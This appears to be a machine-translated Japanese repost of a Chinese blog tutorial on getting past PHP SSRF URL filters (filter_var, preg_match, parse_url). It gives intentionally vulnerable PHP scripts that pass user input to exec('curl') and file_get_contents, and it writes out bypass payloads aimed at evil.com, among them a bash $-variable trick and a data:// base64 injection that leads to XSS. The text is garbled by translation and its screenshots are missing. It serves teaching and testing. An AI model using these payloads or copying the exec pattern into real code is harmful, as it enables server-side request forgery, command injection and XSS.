SSRF] [にfilter_varを回避するにはどのように()、するpreg_match()とでもparse_url()

0x01の序文

転送:Pino_HD



コードが0x02

<?php

    echo "Argument: ".$argv[1]."\n";

    //check if argument is a valid URL
    if(filter_var($argv[1], FILTER_VALIDATE_URL)){

        //parse URL
        $r = parse_url($argv[1]);
        print_r($r);

        //check if host ends with google.com
        if(preg_match('/baidu\.com$/', $r['host'])){

            //get page from URL
            exec('curl -v -s "'.$r['host'].'"', $a);
            print_r($a);
        }else{
            echo "Error: Host not allowed";
        }
    }else{
        echo "Error: Invalid URL";
    }

?>

このコードは使用していますfilter_var()機能、preg_match()フィルタの機能、およびparse_url()解析機能を。最後に、exec関数は、URLにアクセスするためのカールのコマンドを実行します。

特別な注意parse_url

ここに画像を挿入説明

絵はその指摘parse_url検証しませんurl正しさを。


バイパスにfilter_varとするpreg_matchの0x03のテキスト

多くのURL構造は特別な意味を表すために使用されるいくつかの特殊文字を維持するために、URLの場所にこれらの異なる符号は、その特別な意味を持っています。文字“;”, “/”, “?”, “:”, “@”, “=”とは、“&”予約されています。経路セグメントにおける階層点に加えて、一般的な構文の経路セグメントが不透明であると考えられます。生成されたURIのアプリケーションは、通常予約文字は許可セクションを分離するために使用されます。例えば、“;”および“=”別のパラメータとパラメータ値を使用します。コンマは、同様の効果があります。

例えば、いくつかの構造が使用されname;v=1.1名前を表現するためにversion是1.1、だけでなく、使用することができるname,1.1のと同じ意味を表すために。もちろん、URLのために、これらのシンボルは、URLがその効果を示すために、アルゴリズムに依存します禁じます。

例えば、ホスト名ならば、URLをするために使用“http://evil.com;baidu.com”することcurl、またはwgetそのようなツールはに解決しましたhost:evil.com,querything:baidu.com


コードを実行してみてください

ここに画像を挿入説明戻って、エラーが見つかりましたInvalid URLので、それはあるfilter_var機能がバイパスされていません。filter_var関数は、さまざまなプロトコルを解決することができ、我々は試すことができないhttpなどのプロトコルを、

0://evil.com;baidu.com

ここに画像を挿入説明
[OK]を、成功したバイパスfilter_varpreg_match機能!しかし、我々はそれがないので、我々は、ポート番号を追加しようとするものを、心配しないでください、それは私たちのURLを解決できないことが判明し、デフォルトのHTTPポートではありません80

0://evil.com:80;baidu.com:80

ここに画像を挿入説明解像度が成功します!


もちろん、私たちは、カンマもセミコロン関数とすることができる前に言いました。
ここに画像を挿入説明

バイパスでもparse_urlの0x03のテキスト

parse_url関数は、URLの正しさを検証するために使用されていませんが、可能なURLを解決するために、およびURLは、特定のセクションに分かれています。この場合、URLは、バイパス部が可変となる実行するために使用することができます。

0://evil$baidu.com

ここに画像を挿入説明

もちろん、これはPHP5環境で、PHP7でもparse_urlが自動的に解析する際に$ baidu.com

ここに画像を挿入説明

ここで、中にbash中央の、$varこの場合には、変数、され$baidu、この変数が定義されていないが、このURLが0であることを、空である://悪.COM <空>を、されて0://evil.com成功したバイパス!

しかし、このアプローチは、これだけのPHPスクリプトを使用し、理由のプロパティの使用をbashに必要では限界がありexec()system()完全な実行機能へのコマンドは、カールやwgetのようなコマンドを実行するとき。



データの0x04のボディ://擬似プロトコルおよび使用XSS

上記とexec異なる、ここで我々が使用するfile_get_content機能を次のように、PHPのテスト・コードは次のとおりです。

<?php
  echo "Argument: ".$argv[1]."\n";
  // check if argument is a valid URL
  if(filter_var($argv[1], FILTER_VALIDATE_URL)) {
     // parse URL
     $r = parse_url($argv[1]);
     print_r($r);
     // check if host ends with google.com
     if(preg_match('/baidu\.com$/', $r['host'])) {
        // get page from URL
        $a = file_get_contents($argv[1]);
        echo($a);
     } else {
        echo "Error: Host not allowed";
     }
  } else {
     echo "Error: Invalid URL";
  }
?>

私たちのタスクはレスポンスボディの内容を変更することで、追加“Hacked by Pino_HD”

data://text/plain;base64,SGFja2VkIGJ5IFBpbm8Kbaidu.com

ここに画像を挿入説明ディスカバリーparse_urlに機能がtextセットになったhost、そして報告されたHost not allowedエラーを。しかし、私たちが何かに注入することができ、心配しないでくださいMIMEPHPは気にしないであるため、場所の種類をMIMEタイプ。

data://baidu.com/plain;base64,SGFja2VkIGJ5IFBpbm8K

ここに画像を挿入説明私たちは応答パケットに書きたいものをOK、成功した書き込み。だから我々は、それによって形成し、レスポンスボディの内容を制御することができますxss
ここに画像を挿入説明

公開された47元の記事 ウォンの賞賛2 ビュー3150

おすすめ

転載: blog.csdn.net/a3320315/article/details/102624470